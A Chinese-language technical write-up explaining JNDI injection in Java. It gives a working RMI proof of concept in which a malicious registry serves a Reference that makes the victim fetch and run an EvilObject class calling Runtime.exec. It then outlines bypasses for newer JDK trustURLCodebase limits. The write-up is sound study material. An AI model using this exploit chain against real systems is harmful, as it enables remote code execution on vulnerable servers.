JNDI注入原理浅析

目录



JNDI注入依赖RMI,所以在学习JNDI注入前务必了解一下RMI

JNDI 简介

JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口。比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。

JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。

JNDI注入

RMI工作原理

首先我们先思考一下RMI的工作原理是什么。

1.服务器创建好继承于Remote接口的类,并把它绑定到RMI服务器上
2.客户端请求RMI服务器上的类
3.服务端返回客户端所请求类的存根stub,客户端将这个stub看作实例化对象使用
4.客户端调用stub的某个方法,并传入参数。该参数会发送到RMI服务器上,由RMI服务器按照客户端传来的参数来执行指定的方法
5.服务器执行完后将结果返回给客户端

所以从RMI这一端来看,客户端获取了远程对象后所执行的此对象的方法,都是由RMI服务器来执行的。

Reference类

首先来看一下如何创建一个对象Reference并将其绑定到RMI服务器上

......定义好了registry,它是一个Registry对象(RMI中用于将类注册到服务器上的对象)
Reference refObj = new Reference("refClassName", "insClassName", "http://a.com:12345");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

前面说到RMI服务器会向客户端返回stub或者说一个对象,如果RMI服务器传回客户端一个Reference对象呢?那就要说道说道了。

对于RMI服务器而言,向客户端传回一个Reference对象和传回其他对象一样,并没有多大区别。

但是客户端由于获取到了一个Reference实例,比如说就是上面代码中的Reference实例,接下来客户端就会先在CLASSPATH里寻找被标识为refClassName的类。如果没找到,它就会去请求http\://a.com:12345/refClassName.class 对里面的类进行动态加载,并调用insClassName类的构造方法。注意,调用insClassName类的构造方法这个行为是由客户端完成的。

上面的一系列行为可以概括为xiatu

image-20210324014723682

JNDI 协议转换

我们在通过JNDI调用远程对象时,需要设置环境,就像这样

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");  //设置了rmi请求方式
env.put(Context.PROVIDER_URL,
        "rmi://localhost:1099");
Context ctx = new InitialContext(env);

比如以上代码,就设置了JNDI会通过rmi的方式去请求远程对象。

但是当调用lookup()或者search()时,可以直接无视环境是如何设置请求方式的,因为JNDI有协议动态转换机制。什么意思呢?看看代码就晓得了

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:1099");
Context ctx = new InitialContext(env);
ctx.lookup("ldap://a.com/ou=foo,dc=foobar,dc=com")

以上代码执行后,会调用ldap协议去请求,而不是rmi。

这是因为lookup或者search函数在参数为绝对路径URI的情况下动态转换协议为参数中指定的协议。

JNDI注入

如果我们满足以下条件,JNDI注入就会成功

JNDI调用的lookup参数可控

URI可进行动态协议转换

Reference对象指定类会被加载并实例化

其实最重要的就是第一条。

下面用一张图概括从JNDI注入到RCE的流程

image-20210324141937091

1.攻击者控制了lookup参数

2.攻击者将lookup参数替换为去请求恶意服务器A上的Reference对象

3.恶意服务器A返回Reference对象

4.受害机器获得Reference对象后先在CLASSPATH中查找Reference对象中的指定类是否存在,若不存在则请求Reference对象中指定的恶意服务器B去获得指定类

5.恶意服务器B返回指定类

6.受害机器得到指定类后,执行指定类的构造函数,从而达到RCE

下面是代码实现

受害机器

import java.rmi.Remote;
import java.rmi.RemoteException;
import javax.naming.Context;
import javax.naming.InitialContext;

interface IHello extends Remote {
    abstract String sayHello(String name) throws RemoteException;
}
public class CallService {
    public static void main(String args[]) throws Exception{
        if(args.length<1){
            System.out.println("Plz input url");
            System.exit(-1);
        }
        else {
            // JNDI 获取 RMI 上的方法对象并进行调用
            Context ctx = new InitialContext();
            IHello rHello = (IHello) ctx.lookup((String)args[0]);
            System.out.println(rHello.sayHello("tom"));
        }
    }
}

RMI

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;


public class evilrmi {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1010);
        Reference refObj = new Reference("EvilObject","EvilObject","http://192.168.111.1:80/");
        ReferenceWrapper refObjWra = new ReferenceWrapper(refObj);
        registry.bind("refObj",refObjWra);
        System.out.println("gogo");
    }
}

EvilObject

import java.lang.Runtime;
import java.lang.Process;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}

我们先运行RMI服务器,然后把EvilObject.class放置于http\://192.168.111.1:80/下,然后指定lookup参数为我们的恶意RMI服务器去运行受害机器。

JNDI注入分析

调用栈如下

image-20210701232938917

跟进lookup方法,我们可以看到此处

image-20210702171951671

再次跟进lookup方法

image-20210702172010859

再次跟进lookup方法

image-20210702172117627

跟进decodeObject

image-20210702172218634

跟进,来到此处。此处getObjectFactoryFromReference 是去获取Reference对象。

ref和f此时分别对应的值为Reference类名和Reference指向的类的类名

image-20210702172343083

image-20210702172630123

再度跟进

image-20210702172731243

1处是尝试本地加载(从CLASSPATH中)Reference指定的类,2处是如果本地无法加载且ref中classFactoryLocation属性值不为空,就从此属性指定的值远程获取加载类。最后在3处对加载到类执行实例化,从而触发构造函数。

JNDI注入:高版本如何利用?

TrustURLCodeBase

JDK 6u141, JDK 7u131, JDK 8u121 以及更高版本中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,所以会执行以上流程会有如下报错

The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

概览

以上是JNDI Reference+RMI的利用方式,除此之外还有一个JNDI Reference+ldap 的利用方式,操作与JNDI Reference+RMI大同小异,也就是通过ldap协议lookup一个恶意服务器并获得恶意Reference对象,并且LDAP服务的Reference远程加载Factory类不受 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以利用面更广

但是在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

借用一下三只师傅的图

绕过的两种思路:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

看上去似乎很好理解,深入的来看看吧。

利用本地类

上面我们讲到了jndi注入的流程,提到了**如果本地无法加载且ref中classFactoryLocation属性值不为空,就从此属性指定的值远程获取加载类 **,如果本地可以加载呢?是不是也能造成攻击?

image-20210702172731243

看1处,会先调用loadClass进行本地加载ref的指定类

跟进后会来到VersionHelper12#loadClass,然后会返回ref指定的类

返回指定类后后再往上走,来到getObjectInstance,会发现调用了指定类的getObjectInstance方法——我们要需要的恶意代码触发点

所以我们只需要找到一个本地类,其必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换

并且该工厂类至少存在一个getObjectInstance()方法 (可以用于执行恶意代码的)

TOMCAT8

tomcat8有一个类org.apache.naming.factory.BeanFactory,其实现了ObjectFactory接口且有getObjectInstance方法,更重要的是其getObjectInstance可以执行恶意代码。

它会先获取ref对象中的resourceclass

Groovy

ldap反序列化